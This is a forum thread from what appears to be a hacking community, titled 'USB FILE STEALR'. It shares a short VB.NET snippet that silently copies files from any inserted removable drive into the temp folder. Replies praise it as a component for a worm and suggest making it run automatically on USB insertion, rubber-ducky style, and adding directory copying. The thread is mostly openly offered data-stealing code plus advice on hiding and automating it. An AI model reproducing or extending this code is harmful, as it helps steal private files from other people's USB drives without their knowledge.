Thread: [USB FILE STEALR \[SC\] vb.net](#)

xVipX - April 14, 2015, 9:48 am

hey i wna shear thus i coded it in 5 second this will stealer file of usb & copy them in temp or in any file u want juste test it :)

[img]http://up.dev-point.com/uploads1/ddb67302f4d11.gif[/img]

Code 'coded by xvipx

```
For Each x As IO.DriveInfo In IO.DriveInfo.GetDrives
```

```
Try
```

```
    If x.DriveType = 2 Then
```

```
        Dim bb = IO.Directory.GetFiles(x.Name)
```

```
        For i = 0 To bb.Length - 1
```

```
            IO.File.Copy(bb(i), Environ("temp") & "\" & IO.Path.GetFileName(bb(i))) 'chose place to put stealr file !
```

```
        Next
```

```
    End If
```

```
    Catch ex As Exception
```

```
End Try
```

```
Nextgood luck ?
```

I'm sure eventually this code will help someone out. I remember when I was looking for something like this so I could implement it in my worm :P

Who Soup - April 15, 2015, 12:47 am

nice project, this would be epic as fuck if it would execute as soon as the USB is plugged in

I think you are able to do so if you add a config.ini file in the usb?

Earn - April 15, 2015, 5:47 am

You could always have a timer or something & keep checking if there is one plugged in.

i think he is meaning like the functionality of a rubber ducky

I'm going to sound like a fool but i can't work out what this does; it seems that x would equal the second drive, and i have no clue what bb is representing, i'll do a quick google search but if you could spell this out for me it would be great.

It's the same code, just in a different language, I didn't want to spoon feed.

SIM-1456245 - April 16, 2015, 7:35 am

Oh boy, the flame war has started... OP, try to make the code a bit tidier, and add a couple of functions, like directory copying and similar. Also you can add that media insertion event...

Your -38 rep confirms that, lol.

I kid, good to see you are turning HQ now.
